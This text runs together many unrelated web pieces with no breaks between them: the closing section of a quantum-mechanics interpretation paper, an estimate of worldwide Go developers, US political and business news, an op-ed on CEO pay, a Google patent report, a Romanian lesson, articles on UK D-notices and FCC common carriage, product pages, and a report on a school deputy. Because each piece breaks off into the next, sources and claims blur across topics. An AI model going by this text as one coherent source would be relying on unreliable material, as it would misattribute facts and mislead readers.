Unfortunately, there is a technical flaw in the application of this definition in my 1995 paper. The problem is that I have not allowed for the effect, on the path under consideration, of information gained elsewhere in the brain. I believe, however, that I can solve this problem fairly straightforwardly by disconnecting the times of quantum state change from the times of object “switching”. Work is in progress on the details of this revision and I hope in due course to publish it, together with the details of the two other suggestions I have described above; one, to allow the experience of an individual observer to be modelled as the experience of observing a particular, identified, discrete, stochastic process, and the other, to provide a physics without physical constants.
Acknowledgements
I am grateful to Jeff Barrett, Katherine Brading, Jeremy Butterfield, Michael Esfeld, Michael Lockwood, Simon Saunders, and Steve Weinstein for useful conversations and comments.
References
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Albert, D and Loewer, B.: 1988, ‘Interpreting the Many Worlds Interpretation’, Synthese, 77, 195-213.
Bacciagaluppi, G., Donald, M.J., and Vermaas, P.E.: 1995, ‘Continuity and Discontinuity of Definite Properties in the Modal Interpretation’, Helvetica Physica Acta, 68, 679-704. abstract, TeX source, pdf.
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Brown, H.R.: 1996, ‘Mindful of Quantum Possibilities’, British Journal for the Philosophy of Science, 47, 189-200.
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DeWitt, B.S. and Graham, N.: 1973, The Many-Worlds Interpretation of Quantum Mechanics, Princeton University Press.
Dickens, C.: 1843, A Christmas Carol, Chapman and Hall, London.
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How many Go developers are there in the world? My best estimate is between half a million and a million (as of early July 2017).
Update, July 2018: My best estimate is now between 0.8 and 1.6 million. It seems to me likely that we've crossed a million Go developers. Approach
My approach is to compute:
Number of Go Developers = Number of Software Developers × Fraction using Go
Then we need to answer how many software developers there are in the world and what percentage of them are using Go. Number of Software Developers
How many software developers are there in the world?
In January 2014, InfoQ reported that IDC published a report (no longer available online, it would seem) estimating that there were 11,005,000 “professional software developers” and 7,534,500 “hobbyist software developers,” giving a total estimate of 18,539,500.
In October 2016, Evans Data Corporation issued a press release advertising their “Global Developer Population and Demographic Study 2016” in which they estimated the total worldwide population of software developers to be 21 million.
Maybe the Evans estimate is too high. The details of their methodology are key to their business and therefore not revealed publicly, so we can't easily tell how strict or loose their definition of developer is. In January 2017, PK of the DQYDJ blog posted an analysis titled “How Many Developers are There in America, and Where Do They Live?,” That post, which includes an admirably detailed methodology section, used data from the 2016 American Census Survey (ACS) and included these employment categories as “strict” software developers:
Computer Scientists and Systems Analysts / Network Systems Analysts / Web Developers
Computer Programmers
Software Developers, Applications and Systems Software
Database Administrators
Using that list, PK arrived at a total of 3,357,626 software developers in the United States. The post then added two less strict categories, which expanded the total to 4,185,114 software developers. A conservative estimate of the number of software developers worldwide would probably include only PK's “strict” category, about 80% of the United States total. If we assume conservatively that the Evans estimate was similarly loose and that the 80% ratio holds worldwide, we can make the Evans estimate stricter by multiplying it by the same 80%, arriving at 16.8 million.
Maybe the Evans estimate is too low. In May 2017, RedMonk blogger James Governor reported that, in a recent speech, GitHub CEO Chris Wanstrath claimed GitHub has 21 million active users and GitHub's Atom editor has 2 million active users (who haven't turned off metrics and tracking) and concluded that the IDC and Evans estimates are therefore too low. Governor went on to give a “wild assed guess” of 35 million developers worldwide.
Based on all this (and ignoring wild-assed guesses), I think it's reasonable to estimate that the number of software developers worldwide in 2017 is likely to be in the range 16.8-21 million. Fraction using Go
What fraction of software developers use Go?
Stack Overflow has been running an annual developer survey for the past few years. In their 2017 survey, 4.2% of all respondents and 4.6% of professional developers reported using Go. Unfortunately, we cannot sanity check Go against the year before, because the 2016 survey report cut off the list of popular technologies after Objective-C (6.5%).
O'Reilly has been running annual software developer salary surveys for the past few years as well, and their survey asks about language use. The 2016 worldwide survey reports that Go is used by 3.9% of respondents, while the 2016 European survey reports Go is used by 3.3% of respondents. (I derived both these numbers by measuring the bars in the graphs.) The 2017 worldwide survey reports in commentary that 4.5% of respondents say they use Go.
Maybe the 4.2–4.6% estimate is too high. Both of these are online surveys with a danger of self-selection bias among respondents, and that developers who don't answer online surveys use Go much less than those who do. For example, perhaps the surveys are skewed by geography or experience in a way that affects the result. Suppose, I think quite pessimistically, that the survey respondents are only representative of half of the software developer population, and that in the other half, Go is only half as popular. Then if a survey found 4.2% of developers use Go, the real percentage would be three quarters as much, or 3.15%.
Based on all this, I think it's reasonable to estimate that the fraction of software developers using Go worldwide is at least 3% and possibly as high as 4.6%. Number of Go Developers
How many Go developers are there?
On the low end, 3% of 16.8 million is 504,000. On the high end, 4.6% of 21 million is 966,000. Based on all this, I think it's reasonable to estimate that, as of early 2017, there are between half a million and a million Go developers worldwide.
Update, July 2018: The 2018 Evans Data Global Developer Population and Demographic Study estimates 23 million developers worldwide, up from 21 million in the 2016 survey. If the confidence range last year was 16.8–21 million, it seems reasonable to move up by the 10% growth to be 18.4–23 million developers.
The 2018 Stack Overflow Developer Survey reports that 7.1% of all developers and 7.2% of professional developers use Go. Applying the same pessimism as last year (multiplying by three quarters) suggests a lower bound of 5.3%, but I'll be even more conservative and use last year's 4.6% as a lower bound. (The O'Reilly surveys aren't out yet this year. If they come in above 4.6% then maybe we'll move that up.)
Mitt Romney and Newt Gingrich pointed out that Fiorina outperformed Ohio Gov. John Kasich and New Jersey Gov. Chris Christie in Iowa, but both men will still appear on stage Saturday
Washington (CNN) ABC announced Thursday that Carly Fiorina did not make the cut to appear at this weekend's debate, despite calls from several prominent Republicans who wanted her on the New Hampshire stage.
The network announced that Saturday's debate, which will not have an "undercard" event, will feature Donald Trump, Texas Sen. Ted Cruz, Florida Sen. Marco Rubio, Ben Carson, former Florida Gov. Jeb Bush, New Jersey Gov. Chris Christie and Ohio Gov. John Kasich.
Cruz and Carson had joined former Republican presidential nominee Mitt Romney and former House Speaker Newt Gingrich earlier Thursday to call on ABC News to put Fiorina on the stage.
Romney and Gingrich pointed out that Fiorina outperformed Kasich and Christie in Iowa, but both men will still appear on stage Saturday.
"Hey @ABC: put @CarlyFiorina on the debate stage! She got more Iowa votes than John and Chris. Don't exclude only woman," Romney tweeted Thursday. The tweet was quickly blasted out by Fiorina's campaign.
CEO pay is a current bugaboo of those on the left who believe that somehow corporatations are underpaying average workers and overpaying top executives. Yet, the two issues have virtually no connection at all. Average workers get paid based on the value of their work (how much profit they generate for the company) and on the local average wages for that type of worker. Businesses won’t pay an employee more than he is worth and have to pay equal to or slightly more than what its workers could earn working for some other potential employer. That leaves some range of pay in between those two limits that makes all parties happy.
Nowhere in that equation does CEO pay appear. Paying a CEO less will not lead a company to redistribute those savings into the paychecks of other workers. Rather, the saved money will go to the business owners, either through stock dividends, stock buybacks, capital gains, or any other mechanism of putting the money into the owners’ pockets. Paying a CEO more, similarly, does not reduce what other workers are paid. If a company pays its workers too little, they will leave for a better paying job. So even if a business has to lose money to do so, workers get paid a fair wage regardless of CEO pay.
If a company systematically underpaid workers (whether done to overpay a CEO or for other reasons), some other business would realize those workers could be hired away for a little more money and begin to generate profits for them. Thus, owners competing for profits will bid up wages for profit-generating workers until workers are paid what they are worth. Greed itself solves the problem of greedy owners trying to exploit workers.
Many CEOs earning multimillions probably are overpaid, but because average worker pay and CEO pay are unrelated, no local, state, or national policy designed to address CEO pay will yield any tangible results for workers or consumers. There is no single labor market, but thousands of labor markets, each for a different type of labor. Paying doctors less does not result in a raise for fast food workers because it doesn’t make fast food workers more profitable to their employers. Cutting CEO pay is no different.
Portland’s proposal is particularly silly in that it applies a local fine to a national issue. Large corporations with employees all over the world are destined to pay Portland more in local business taxes based on the pay of workers (CEO and ordinary) most of whom work somewhere far, far away. Portland taxes businesses 2.2 percent of local net income (basically, corporate net income times the share of gross business income generated locally, so the proposed fine is in some rough sense equal to two-tenths of a percent of local profits.
Portland estimates they will collect $2 or $3 million in extra business tax under this program, with over 500 companies potentially subject to the fine. So “offending” companies may pay a few thousand dollars in extra Portland business taxes. The chance that such a sum will make a major national or multinational corporation change its CEO compensation policy is precisely zero. On the other hand, eliminating the local business income tax would make local workers worth about two percent more, likely leading to them receiving raises of roughly two percent.
If Portland wanted to help local workers get paid more they would be better served by improving some of their failing local schools or improving job training and vocational programs at local community colleges. Or, they could eliminate their local business tax. The way to get paid more is to be worth more to your employer. CEO pay is just a distraction.
Google
Google's patent with the US patent office is for a device that will recognise your real-world user experiences, match them, and add the captured data to your experience history data store.
Current Google searches surface data that has been placed online by other users. Google's device will bring you data based on your own real life visual, auditory, and location based experiences.
You might find it hard to remember when you were at the park in May, the dog fell in the fountain and you got drenched getting him out.
Now this device could help you out with images, video and even audio -- total recall. The device will consist of a head mounted wearable -- think Google Glass. The device will have a camera and microphone, activated by voice or location.
Google
It will invoke "media data capture" based on your settings when the device is next to a "specific location". The wearable will then transmit the data to a server which will recognise the data and add it to the user's real-world experience history.
The device will indicate when it is going to capture data, it will collect data based on settings of the device and transmit the data to the server for processing.
Google
Google wants to enable "a searchable history of real-world user experiences". With the device you could search your own experiences. You could ask it what films you watched last month. You could ask it who you had a telephone call with last Wednesday or what art you saw at the art gallery in January.
Read this Google Glass: Will it hit the enterprise and when? According to a Forrester survey, more than two-thirds of information workers have heard of Google Glass. But only 4 percent of those workers have seen Google Glass in person. That data may be enough to conduct a few corporate experiments. Read More
You could, in effect, search for anything that had happened to you since you started to wear the device.
You would even be able to search and find out what your friends on social networking sites were doing.
You could find out what your partner saw last night - either on TV or see their live video feed data.
You could use the gathered data for security purposes. If a security guard, or police office wore the device, you could view exactly what he saw during his time on duty.
The device could also capture audio, or be configured to take images at pre-set intervals. Lenses could be used to combine light projection, reflections, lasers and near-to-eye images.
The glasses could be used as either a see-through, see-around or video see-through display. Images captured could be used to create augmented reality and interact with the real world view of the user - as long as the user is wearing it.
Google is taking Glass to the next level. It is using the potential of experience search to mine your own -- and your friends' -- data stores.
As it utilises third party data from the Internet of Things, its store of your past will contain far more experiences than your memory ever will.
This week I want to go to the Black Sea but I’m too scared because I heard people steal on trains. Let the adventure begin!
Sergiu: Ai fost la mare vara asta?
Did you go to the sea this summer?
Girl: Da, am fost.
Yes, I did.
Sergiu: Și cu ce ai fost? Cu trenul sau mașina?
And what did you go with? By train or car?
Girl: Cu trenul. Din București am luat trenul spre Mangalia.
By train. From Bucharest I took the train to Mangalia.
Sergiu: Și nu din Cluj ai fost?
And you didn’t go from Cluj?
Girl: Nu, din Cluj am luat avionul ca să nu mai fac atâtea ore.
No, from Cluj I took the airplane so I don’t do (travel) so many hours.
Sergiu: Și în tren se fură mult dacă dormi?
And do they steal a lot in the train if you sleep?
Girl: Dacă dormi? Nu, nu mi s-a-ntâmplat și-am dormit și la cușetă…s-a-ntâmplat, nu, nu s-a-ntâm…nu mi s-a-ntâmplat niciodată.
If you sleep? No, it didn’t happen to me and I also slept in the couchette…it happened, no, it didn’t happen…it never happened to me.
Sergiu: Ce părere ai despre următoarea declarație că peste Carpați lucrurile tale se lipesc de alții?
What opinion do you have on the following statement that your things get glued on others over the Carpathians?
Girl: Adică?
Meaning?
Sergiu: Adică te fură peste Carpați.
Meaning they rob you over the Carpathians.
Girl: Păi, depinde în ce context, cine te fură, de ce te fură sau nu-i motiv sau…
Well, it depends in which context, who robs you, why they rob you or there isn’t any motive or…
Sergiu: De exemplu într-un tren, când mergi într-un tren peste Carpați.
For example in a train, when you travel by train over the Carpathians.
Girl: Te referi în sud?
Do you mean in the south?
Sergiu: Da.
Yes.
Girl: Ok, eu n-am fost în sud numa’ o singură dată și-am trecut prin București deci habar n-am, nu mă prân..nu știu ce să-ți zic, sincer.
Ok, I was in the south just one time and I went through Bucharest so I have no idea, I don’t…I don’t know what to say, honestly.
Sergiu: Îi bun răspunsul, mă bucur că…ciao.
The answer is good, I’m glad that…bye.
Girl: Ok, ciao.
Ok, bye.
After this conversation I decide to make the big step and close the door to the train going to Mangalia.
Grammar L
Since you will learn more vocabulary than ever today I decided to skip the grammar in this lesson.
Vocabulary L
Vară (f.) – Summer (Pl. Veri)
Remember the word “vară” with its plural “vere”? Then head on to lesson 29 for a recap!
Primăvară (f.) – Spring (Pl. Primăveri)
Toamnă (f.) – Autumn (Pl. Tomni)
Iarnă (f.) – Winter (Pl. Ierni)
Tren (n.) – Train (Pl. Trenuri)
Mașină (f.) – Car (Pl. Mașini)
Atât, atâta, atâți, atâtea – So many
Oră (f.) – Hour (Pl. Ore)
Minut (n.) – Minute (Pl. Minute)
A fura – To steal
A se întâmpla – To happen
Cușetă – Couchette (Pl. Cușete)
Părere (f.) – Opinion (Pl. Păreri)
Despre – About
Următor (m.), următoare (f.) – Next
Declarație (f.) – Statement (Pl. Declarații)
Peste – Over
Carpați – Carpathians (The main Romanian mountains)
A lipi – To glue
Adică – Meaning
Context (n.) – Context (Pl. Contexte)
Motiv (n.) – Motive, Reason (Pl. Motive)
Exemplu (n.) – Example (Pl. Exemple)
A se referi – To refer
Nord – North
Sud – South
Vest – West
Est – East
O singură dată – A single time
Habar n-am – I have no clue (From the verb A avea habar – To have a clue)
Răspuns (n.) – Answer (Pl. Răspunsuri)
A se bucura – To be glad
Next Lesson
Salvează
Salvează
Salvează
Polite D-notice system is slowing ossifying; Web now dominates public discourse
His name is now scribbled all over the Web, and the ex-MI6 man who is alleged to have compiled a dossier containing unsubstantiated and lurid claims about US President-elect Donald Trump is reportedly in hiding.
However, despite the details being readily available online, the UK’s ministry of defence—following a long-standing practice—politely requested the British press to carefully consider the potential consequences of disclosing the individual’s name. In a letter to editors and publishers, retired RAF Air Vice-Marshal Andrew Vallance, who holds the post of defence and security media advisory secretariat, said on Wednesday:
In view of media stories alleging that a former SIS [secret intelligence service; MI6] officer was the source of the information which allegedly compromises president-elect Donald Trump, would you and your journalists please seek my advice before making public that name.
The guidance was given through fear that revealing the identity of the ex-MI6 man “could assist terrorist or other hostile organisations.” Nonetheless, the BBC and other major British news organisations have disclosed details of the individual, whose name and current directorship at a London-based private security firm was initially published in the US press and heavily shared on social media.
But such a decision by the BBC and others is a stark departure from the past when publications and broadcasters that received a so-called D-notice (defence notice), later replaced by a DA-notice (defence advisory notice), would often fall into line with the MoD’s request in a very British spirit of collaboration.
The D-notice first came into play in 1912, two years before World War I broke out, when Whitehall mandarins decided that an organisation should be created that addressed matters of national interest. Members of the press were included on the advisory panel, and they remain so to this day. However, the makeup has changed a little: the likes of Google representatives have sat on the committee, for example, though, the US ad giant withdrew its voluntary support in light of Edward Snowden’s damning disclosures about the NSA.
Historically, publishers and editors have largely responded in kind to the frightfully polite requests from the MoD. Members of the committee have long argued that it doesn’t amount to censorship from the British government, instead insisting that they are simply exercising restraint with stories that may, on reflection, damage national security. But Vallance and his predecessors can only gently nudge the press to consider the sensitive material they have in their possession before publishing it.
Where disputes arise between the government and publications, Vallance works independently as a go-between to “help resolve disagreement about what should be disclosed” before any legal action is taken against the press to suppress information by way of a court injunction.
But today, the relevance of the D-notice—as it continually tends to be described—seems to be slowly ossifying, and we can see this from the decision by the likes of the BBC to publish the name of the ex-spy at the centre of the uncorroborated Trump dossier story, which claims that Russia has compromising information about the president-elect.
In 2015, in acknowledgement that it was becoming increasingly difficult to put a lid on sensitive information being shared online, the UK government renamed the DA-notice to the Defence and Security Media Advisory (DSMA)—a system which currently costs £250,000 a year to run. The inclusion of the word “security” is perhaps there to try to make it crystal clear to the media that supposedly risky disclosures endanger not only military and spook-types, but also British citizens.
But, while it continues to try to sign up more digital and social media representatives, the DSMA committee has admitted that there is “no obvious answer” to the challenges presented by the Web. It has previously argued that the “mainstream media” remains the superior source for news, regardless of gossipy tittle-tattle—no matter how inflammatory or lacking in reality—that is shared online. Events in recent months, though, seem to suggest that the line is more blurred than ever before because it is far less clear who is setting the news agenda. We’re in for a long four years if the answer turns out to be Trump’s Twitter account.
This post originated on Ars Technica UK
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Get ready to knock the socks off your friends with these scary DOOM 3D printable masks. Inspired by the character with the same name from the popular video game, DOOM mask is exactly what you need to make this Halloween memorable.
The mask consists of 11 separate parts that you must print and assemble together. It is not a simple mask. The mask is provided with a horned helmet that enables it to be worn on the head without additional elastic bands.
But there’s more. If you’re not ready to wear such a scary mask for Halloween, the 3D modeler provides the files for a simplified DOOM mask for 3D printing. This mask has no horns but nevertheless will make a great accessory for the holiday party.
The files for the DOOM masks for 3D printing have been created in Autodesk Maya modeling program and checked in Netfabb. They are adapted to be handled in any 3D slicing program, such as CURA 15.06 or Simplify3D. You can print it in any printing material. To have the simple mask in printed form, the 3D printer will have to run for about 3 days and 4 hours, while the horned helmet mask will be printed in about 10 days.
After being printed, the mask with horns will stand 382mm deep, 384mm wide, and 597mm tall.
Buy DOOM 3D printable masks STL files by clicking the green Buy button in the top-right corner of the 3D model’s photo slider. Proceed to checkout. Provide your PayPal or credit card details and get yourself a Halloween mask that has no one has ever worn before. Get spooky this holiday with the mask of DOOM character.
Note: You can print the DOOM mask STL files with 3DHubs directly from our website. Put the checkmark in the box next to the file you want to print and click the Print with 3DHubs button.
Most analysts suggest This Is Us will take somewhere in the region of $30 million to capitalize on an expected 20% drop in ticket sales for The Butler. Jennifer Aniston and Jason Sudeikis's We're The Millers and the Simon Pegg starring World's End - the final movie in the Cornetto trilogy - should take the third and fourth spots.
Over 80,000 fans turned up for the premiere of One Direction's movie in London's Leicester Square last week, pretty much cementing the group's status as the biggest pop act in the world.
"As a doc filmmaker, we're used to this, people camping out for movies, it's kind of the norm," Spurlock joked with The Hollywood Reporter about the experience, which he describes as "both spectacular and bananas."
Spurlock spent six months following the British pop boy band, made up of Niall Horan, Zayn Malik, Liam Payne, Harry Styles and Louis Tomlinson - capturing their every movie in 3-D.
"They're one of the biggest bands on Earth right now who, when we were diving in, were just on the precipice of exploding into such a global phenomenon. How do you not want to tell that story?" added Spurlock.
The director - known for his quirky documentaries including Supersize Me - also revealed how he had been approached by Sony to helm its previous two concert docs - Justin Bieber: Never Say Never and Katy Perry: Part of Me - but had been in production on his own films at the time.
One Direction This Is Us hits theaters on Friday August 30, 2013.
See all our pictures from the One Direction 'This Is Us' Premiere in London.
Morgan Spurlock At The One Direction Documentary Premiere
What is rockabilly, When Did It Start?
Since the 1950s Music era launched, Rockabilly became a very popular cousin to the rock scene and country music. Mixing the two together gave you the Rockabilly Era of Music, Fashion And A Bit of a Punky Attitude.
Country Music was also Know as Hillbilly Music and Adding The rock scene it all added up As Rockabilly.
Maybe the Music as Declined in recent Years but The Amazing fashion of Rockabilly Clothing Era Has been, Is now And will always be In Fashion.
Why does rockabilly exist, Who Started it?
History, Why wouldn’t you want to know how the rockabilly Era started. Well, it was all down to one male that was known as Sam Phillips.
In the middle of the ninety forties (1940s), there was a deep movement of the young people at the time against the way their elders were on their opinions to the music Industry.
The elders were more religious and suppressed the young into believing that rock was from the devil and should not be allowed to be played anywhere.
There was a Huge interest from The leader Sam Phillips that knew the movement was gaining momentum and could see $$ signs in this as he knew the youth would outspeak the old Eventually.
Sam Phillips (who signed up the King himself Mr Elvis Presley) actually loved black music like the blues as well as the popular white music.
The rockabilly era was born and started to spread very fast around the USA and started to get more and more artist on board like the legend Johnny Cash.
More Artist Joined the revolution but the problem was that it was mainly successful Only in America and not outside the country.
A lot of musicians moved away from rockabilly en the early sixties (1960s) as they were seduced by the country music only scene.
That didn’t really stop Rockabilly music growing at all, it is always a good choice to listen too.
What is Rockabilly Fashion?
This is what We here at rockabillyclothing50s.com love to talk about and are very passionate about. The clothes.
Whether you like rockabilly music or not, you will love the rockabilly fashion
For us girls, we have a choice of Pencil Skirts, Rockabilly Dresses Uk, halter dresses, High waisted trousers, Polka Dot Style, Rockabilly Shoes, Rockabilly Cardigans and so on.
The style with all the clothing range can be leopard prints, sailor style, Polka dots and stripes which are all popular in today’s fashion industry.
To complement these style you can purchase Rockabilly Shoes, handbags and more to emphasise your style.
As you know, there is so much more to choose from in the rockabilly fashion than just rockabilly Petticoats. You rock girls so get shopping here.
Rockabilly Clothing Is Not Just Fasion , it is a lifestyle too
Notwithstanding the melodic music and the various mould of the 50s, Rockabilly is additionally described by its specific frame of mind towards life. It’s not simply shown outwardly, for some fans it’s additionally a way of life. 50s dresses, rockabilly shoes, shake n move dresses and rockabilly men’s garments are for the most part visual portrayals of the style, yet there’s a whole other world to it than rockabilly garments.
The Marin Municipal Water District, which oversees watershed lands on the mountain, tasked with controlling the wild turkey population, cannot continue to do so due to high costs, according to the East Bay Times.
Experts reportedly estimate that California has approximately 18 percent of the 6 million wild turkeys living in 49 of the 50 United States.
The species specific to California is known as Meleagris gallopavo.
According to the Scientific American:
Some 10,000–12,000 years ago, another smaller species with different morphological characteristics, the extinct Meleagris californica, did exist in southern California as evidenced by the more than 11,100 bones from at least 791 different birds found in the Rancho La Brea Tar Pits in Los Angeles. In fact, the second most abundant fossils in the Tar Pits belong to M.californica . Exactly why M. californica —originally described as a peacock—became extinct thousands of years ago in California is not known but it has been suggested that decreasing rainfall led to a loss of essential vegetation.
“Hunting was initially delayed to allow the birds to build a population,” according to the East Bay Times. “But with minimal hunting in the county, the birds’ numbers increased and spilled beyond Loma Alta and onto surrounding public lands, where hunting is not allowed.”
Due to limited hunting in the county, the wild turkey population has flourished.
The wild creatures are fast and can weigh up to 20 pounds.
The East Bay Times notes that the wild turkeys can be steered away from humans by making loud noises or using an open umbrella to shoo them away.
The calmer view, however, is that the ruling doesn’t really mean the death of net neutrality, the National Broadband Plan, spectrum reform, or the FCC itself. It’s a pain, but mostly it sends Genachowski on a cleanup mission. The FCC is a delayed victim of Bush’s Grover Norquist program. (Remember “drown [government] in the bathtub“?) Yet by statute, the agency retains enormous powers over every form of communication by wire; it simply has to turn them back on.
Technically, it means declaring cable and DSL broadband the common carriers of our age (as Susan Crawford recently explained in a New York Times op-ed). What does that mean? To answer this, we need to go back to 1910, when, during the Taft administration, Congress passed a law declaring that the telegraph, telephone, and radio were to be treated just like the railroads, as “common carriers.” The term is critical for understanding anything about what’s going on today.
The idea of the common carrier stems from the premise that some businesses, by their very nature, are “public callings.” Typically, such carriers of goods or people (taxicabs, railroads, ferries, bridges) and information (telegraph, telephone) have been charged with a duty not to discriminate among customers and not to charge exorbitant prices. You run into this all the time, even if you aren’t aware of it: Consider that when you get in a New York taxi, the driver must charge you the posted rate and take you where you want to go. That’s common carriage in action.
It’s easy to understand why ancient courts thought such duties were important. Imagine yourself, late one stormy night, arriving at the sole inn in a remote town. At that point, the innkeeper has incredible power over you. He could extort whatever price you might pay. He could deny you service altogether. Or imagine a railroad that charged much less to John Rockefeller’s Standard Oil than to any would-be rival in exchange for certain kickbacks. Or a telegraph owner who had a monopoly and refused to carry Democratic newswires.
Given these kinds of problems, from 1910 on, firms that offered communications services were declared common carriers and obligated, basically, to treat everyone the same and not to charge outrageous prices. But as the 21st century began, the Bush administration, in one of several experiments in neoclassical economics, decided to abandon the common carrier model for communications. Cheered on by economists, industry, and some technologists, the FCC, under Chairman Michael Powell, declared that both DSL service and cable broadband were no longer covered by the FCC’s authority to regulate common carriers. Instead, they were “information services,” a category over which the FCC had limited say (more limited than even Powell thought). That is why the D.C. Circuit said last week that the FCC lacked the authority to punish Comcast when it began to block the popular BitTorrent protocol. It isn’t that the court hobbled the FCC; under Powell, the FCC, it turned out, had crippled itself.
A realist might say the whole effort to cripple the FCC was motivated by an ideological commitment to the principle that most laws ought not apply to corporations, which are, after all, people too. But for the less cynical, there is an underlying economic logic. Economists in the 1990s argued that competition had done away with the need for the old protections. Access to the broadband Internet, the FCC projected in the early 2000s, would soon be a “highly competitive market,” making the old rules unnecessary.
Unfortunately, by 2006, it was obvious that things had gone horribly wrong. Instead of more competition in broadband, every year brought less. There are plenty of firms and individuals on the Internet—bloggers, Bing, Wikipedia, and the rest—but increasingly few firms carrying the information. The problem is that Powell’s deregulation, meant to foster “competition,” freed the Bell and cable companies to eliminate most of their actual competitors. AT&T, broken up in 1984, re-emerged. The cable industry integrated into just a few megafirms, like Comcast. Today, there is every sign of more consolidation, and even the re-emergence of an outright monopoly in high-speed broadband (more than 50 mbps) in many parts of the nation.
Even if the Bush FCC was wrong about the glory of competition, was it perhaps right to cripple the FCC? Might we be better off with a disabled agency, one limited, effectively, to licensing radio and TV stations? The idea may sound appealing, like kicking over your brother’s sand castle, but you pretty quickly begin to see the problems. The truth is, we actually do rely on broadband as our common carrier, much as our ancestors relied on trains and the way we still rely on taxis and innkeepers. The problems and likely abuses in a system everyone depends on haven’t really changed, and why should they? Technology changes, but human nature doesn’t. Then as now, carriers have the means and reason to discriminate, charge exorbitant prices, and confuse customers with weird bills.
Over the summer, the FCC is likely to re-establish its common-carrier authority over broadband. It needs this to continue its pet project, the National Broadband Plan, a signature Obama administration effort to get fast Internet access to more Americans. It also needs the power to punish any knavish conduct that may arise. This will amount to reversing a short-lived experiment and returning to the policies that date from the Taft administration (and in a more fundamental sense, to far older common-law principles). Chairman Michael Powell was a thoughtful fellow, but he made a mistake. The premise for getting rid of common carriage—that rising competition is solving every problem—has proved both theoretically and factually wrong. To recognize this isn’t politics; it’s error correction.
The bankruptcy filing by San Antonio-based iHeart Media Inc. likely ranks among the largest in recent corporate history. The bankruptcy filing by San Antonio-based iHeart Media Inc. likely ranks among the largest in recent corporate history. Photo: John Davenport /San Antonio Express-News Photo: John Davenport /San Antonio Express-News Image 1 of / 1 Caption Close IHeartMedia is expected to disclose insolvency concerns 1 / 1 Back to Gallery
San Antonio-based iHeartMedia Inc.’s first quarter earnings report Thursday will likely show new cash flow problems and insolvency concerns as the company struggles to restructure its $20.4 billion in debt, analysts said.
The radio and billboard giant is expected to resume a string of 27 quarterly losses that was interrupted by a profit in the fourth quarter that came from a $40.6 million one-time gain from the sale of some of its U.S. billboards.
The company warned investors April 20 that it may not survive the next 10 months. IHeart has generated negative cash flow over the last two years, meaning that it’s spending more money on its debt and other expenses than it’s generating. And this year will be no different, the company said. It said the first quarter results will also be weighed down by a $12.8 million charge tied to fluctuations in foreign exchange rates.
Seth Crystall, a Debtwire senior credit analyst, said the loss this year will be higher than the $88.5 million it lost in the first quarter of 2016 when the company pared its losses by selling off some of its assets.
IHeartMedia spokeswoman Wendy Goldberg in New York declined to comment.
Cash flow from iHeartMedia’s radio side, comprised of more than 850 radio stations with seven in San Antonio, was substantially down for the first quarter, said Bloomberg Intelligence analyst Philip Brendel.
“Investors (on Thursday) will be focused on why the radio segment is experiencing negative cash-flow metrics. The numbers suggest revenue was up, but the cash flow (for the radio unit) was down more than 20 percent for the quarter,” Brendel said in an interview.
He told investors in a research note that the company’s worsening cash flow raises the risk that iHeart may need to file for Chapter 11 bankruptcy protection.
“There’s substantial doubt the company will not be able to pay its debt over the next 12 months,” he said.
Formerly named Clear Channel Communications, the company calls itself “the leading media company in America with a greater reach in the U.S. than any other radio or television outlet.” The company’s streaming-radio application, iHeartRadio, had 96 million registered users at the end of 2016.
Chairman and CEO Bob Pittman, considered a visionary in the media and entertainment industry, was tapped in 2011 to run the company after the 2008 leveraged buyout by two Boston private equity firms was heralded as a disaster that saddled the company with too much debt. Pittman helped create MTV and is credited with turning around Nickelodeon. He’s also been CEO of AOL and chief operating officer of AOL Time Warner after the merger.
But even his media savvy isn’t proving to be enough to turn around iHeart, which hosts syndicated radio shows for the likes of Rush Limbaugh, Sean Hannity, Steve Harvey and Ryan Seacrest.
IHeartMedia has $317 million in debt obligations maturing in 2017 and $324 million in 2018, but $8.4 billion come due in 2019. The company is in tense negotiations with large lenders and debt investors to try to exchange $14.6 billion of the company’s bonds and loans to buy it some more time.
“If the creditors stand firm that iHeart’s proposed restructuring framework isn’t sound, it’s possible that the negotiations pivot toward restructuring solutions in the context of a bankruptcy,” Brendel wrote to investors. “Weakness in the profitability of iHeart’s radio units may be a factor in creditors’ decision-making on whether to exchange their priority guarantee notes or term loans. Liquidity problems could upend any out-of-court restructuring strategies iHeart may be contemplating, including the ongoing exchange offer.”
The company has offered to exchange $14.6 billion in bonds and loans that would pay higher returns while pushing back maturities by two years and forgiving varying amounts of debt. But the debt-exchange has attracted little interest from investors and lenders, the company recently said, and the deadline has been extended three times to May 12 since it was first issued March 15.
As of March 31, iHeartMedia had $365 million in cash, $201 million of which was held by the company’s billboard subsidiary, Clear Channel Outdoor Holdings Inc.
IHeart directors may decide to cancel the debt-exchange offer if participation remains low, Brendel said. Or directors may pursue “a consensual, pre-arranged reorganization plan with its term lenders and priority guarantee noteholders in a Chapter 11” filing, Bloomberg’s Brendel wrote.
Much of the company’s debt stems from its 2008 buyout of the company by Bain Capital and Thomas H. Lee Partners. The private equity firms own 70 percent of iHeartMedia. The rest of the company’s stock is publicly traded.
Richland County Senior Deputy Ben Fields, 34, the school resource officer from Spring Valley High School, was already heading to trial in January over a federal civil rights lawsuit filed by a former student that claims that he “recklessly targets African-American students with allegations of gang membership and criminal gang activity.”
Ashton James Reese filed the federal complaint after he was expelled for “unlawful assembly of gang activity and assault and battery” in 2013. The former student was accused by Fields of participating in a “gang related” fight in a Walmart parking lot near the school.
The student maintains that he has never been in a gang and was targeted by Fields over the color of his skin.
Fields was also sued in federal court in 2007 over an incident during his time as a patrol deputy. The lawsuit accused Fields of violating the civil rights of army veteran Carlos Martin and his wife Tashiana Anita Martin.
In 2005 during an encounter over a noise complaint, Fields allegedly assaulted Carlos and unloaded an entire canister of pepper spray in his face before arresting both him and his wife, who had been trying to take photos of the encounter.
The officer allegedly deleted the photos off of her phone before arresting her and “made ridiculing and suggestive comments that he was going to take Plaintiff Tashiana Anita Martin to a Motel 6.”
The officer was cleared in that lawsuit, and Carlos Martin’s military career came to an end due to the arrest.
Athens-Clarke County Police Georgia Cop Beats Student with Baton, and Then Lies About It
In addition to patrolling the halls as a resource officer, Fields was also the defensive line and strength coach for the Spring Valley High School football team. He has been banned from all schools in the district pending the outcome of an investigation into Monday’s incident.
He is now on administrative duty at the Sheriff’s department.
The Columbia FBI Field Office, the US Attorney’s Office for the District of South Carolina and the Civil Rights Division have launched a civil rights investigation regarding his violence toward the student.
The question comes up whenever an otherwise reasonable person watches a sordid character do horrible things. You want to look away, but you can’t, or won’t. Maybe you do look away for a time—but then you look back.
